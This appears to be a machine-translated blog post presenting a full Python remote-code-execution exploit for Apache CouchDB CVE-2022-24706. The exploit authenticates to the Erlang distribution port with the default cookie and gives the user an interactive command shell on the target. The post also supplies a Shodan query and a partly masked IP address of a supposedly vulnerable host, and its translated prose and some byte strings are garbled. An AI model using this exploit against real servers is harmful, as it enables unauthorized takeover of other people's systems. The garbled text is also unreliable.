Apache CouchDB Code Execution Vulnerability (cve-2022-24706) batch POC

Apache CouchDB Code Execution Vulnerability (CVE-2022-24706 )
because CouchDB The default installation configuration for is defective , This could eventually lead to an attacker accessing a specific port , Bypass the permission check and get the administrator permission

CVE-2022-24706 The loophole is due to 3.2.2 pre-release CouchDB There are defects in the default configuration of , An attacker can gain administrator privileges by accessing an incorrect default installation without authentication . The vulnerability has a small impact , It is recommended that users in all CouchDB Install firewall before installing . complete CouchDB api Register port at “5984” Available on the , This is the only port that needs to be exposed for a single node installation .
example ：45.147.96.xxx  There is REC
EXP

# Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)
# Date: 2022-01-21
# Exploit Author: Konstantin Burov, @_sadshade
# Software Link: https://couchdb.apache.org/
# Version: 3.2.1 and below
# Tested on: Kali 2021.2
# Based on 1F98D's Erlang Cookie - Remote Code Execution
# Shodan: port:4369 "name couchdb at"
# CVE: CVE-2022-24706
# References:
#  https://habr.com/ru/post/661195/
#  https://www.exploit-db.com/exploits/49418
#  https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
#  https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
#
#
# !/usr/local/bin/python3

import socket
from hashlib import md5
import struct
import sys
import re
import time

TARGET = sys.argv[1]
EPMD_PORT = 4369  # Default Erlang distributed port
COOKIE = "monster"  # Default Erlang cookie for CouchDB
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e"  # Request for nodes list

# Some data:
NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\[email protected]"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\[email protected]\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"


def compile_cmd(CMD):
    MSG = b"\x83h\x02gw\[email protected]\x00\x00\x00\x03\x00\x00\x00"
    MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
    MSG += struct.pack(">H", len(CMD))
    MSG += bytes(CMD, 'ascii')
    MSG += b'jw\x04user'
    PAYLOAD = b'\x70' + CTRL_DATA + MSG
    PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
    return PAYLOAD


print("Remote Command Execution via Erlang Distribution Protocol.\n")

while not TARGET:
    TARGET = input("Enter target host:\n> ")

# Connect to EPMD:
try:
    epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
    print("Couldnt connect to EPMD: %s\n terminating program" % msg)
    sys.exit(1)

epm_socket.send(EPM_NAME_CMD)  # request Erlang nodes
if epm_socket.recv(4) == b'\x00\x00\x11\x11':  # OK
    data = epm_socket.recv(1024)
    data = data[0:len(data) - 1].decode('ascii')
    data = data.split("\n")
    if len(data) == 1:
        choise = 1
        print("Found " + data[0])
    else:
        print("\nMore than one node found, choose which one to use:")
        line_number = 0
        for line in data:
            line_number += 1
            print(" %d) %s" % (line_number, line))
        choise = int(input("\n> "))

    ERLNAG_PORT = int(re.search("\d+$", data[choise - 1])[0])
else:
    print("Node list request error, exiting")
    sys.exit(1)
epm_socket.close()

# Connect to Erlang port:
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
    print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
    sys.exit(1)

s.send(NAME_MSG)
s.recv(5)  # Receive "ok" message
challenge = s.recv(1024)  # Receive "challenge" message
challenge = struct.unpack(">I", challenge[9:13])[0]

# print("Extracted challenge: {}".format(challenge))

# Add Challenge Digest
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
                       + bytes(str(challenge), "ascii")).digest()
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)

if len(CHALLENGE_RESPONSE) == 0:
    print("Authentication failed, exiting")
    sys.exit(1)

print("Authentication successful")
print("Enter command:\n")

data_size = 0
while True:
    if data_size <= 0:
        CMD = input("> ")
        if not CMD:
            continue
        elif CMD == "exit":
            sys.exit(0)
        s.send(compile_cmd(CMD))
        data_size = struct.unpack(">I", s.recv(4))[0]  # Get data size
        s.recv(45)  # Control message
        data_size -= 45  # Data size without control message
        time.sleep(0.1)
    elif data_size < 1024:
        data = s.recv(data_size)
        # print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
        time.sleep(0.1)
        print(data.decode())
        data_size = 0
    else:
        data = s.recv(1024)
        # print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
        time.sleep(0.1)
        print(data.decode(), end='')
        data_size -= 1024

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